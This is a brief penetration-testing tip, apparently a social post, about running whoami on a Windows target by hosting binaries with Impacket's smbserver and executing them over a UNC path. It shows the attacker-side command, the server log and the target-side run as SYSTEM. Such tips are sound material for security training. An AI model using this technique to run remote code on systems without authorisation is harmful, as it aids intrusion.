#tips, how to know the current user on windows without whoami?

Use smbserver from impacket.

smbserver <shared folder alias> <folder to be shared>
↳ sudo smbserver.py a /usr/share/windows-binaries
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID XXXXXXX V:3.0
[*] Callback added for UUID XXXXXXX V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection ()
[*] AUTHENTICATE_MESSAGE (\,USER)
[*] User \USERauthenticated successfully

From the target machine

C:\>\\10.x.x.x\a\whoami.exe
\\10.x.x.x\a\whoami.exe
NT AUTHORITY\SYSTEM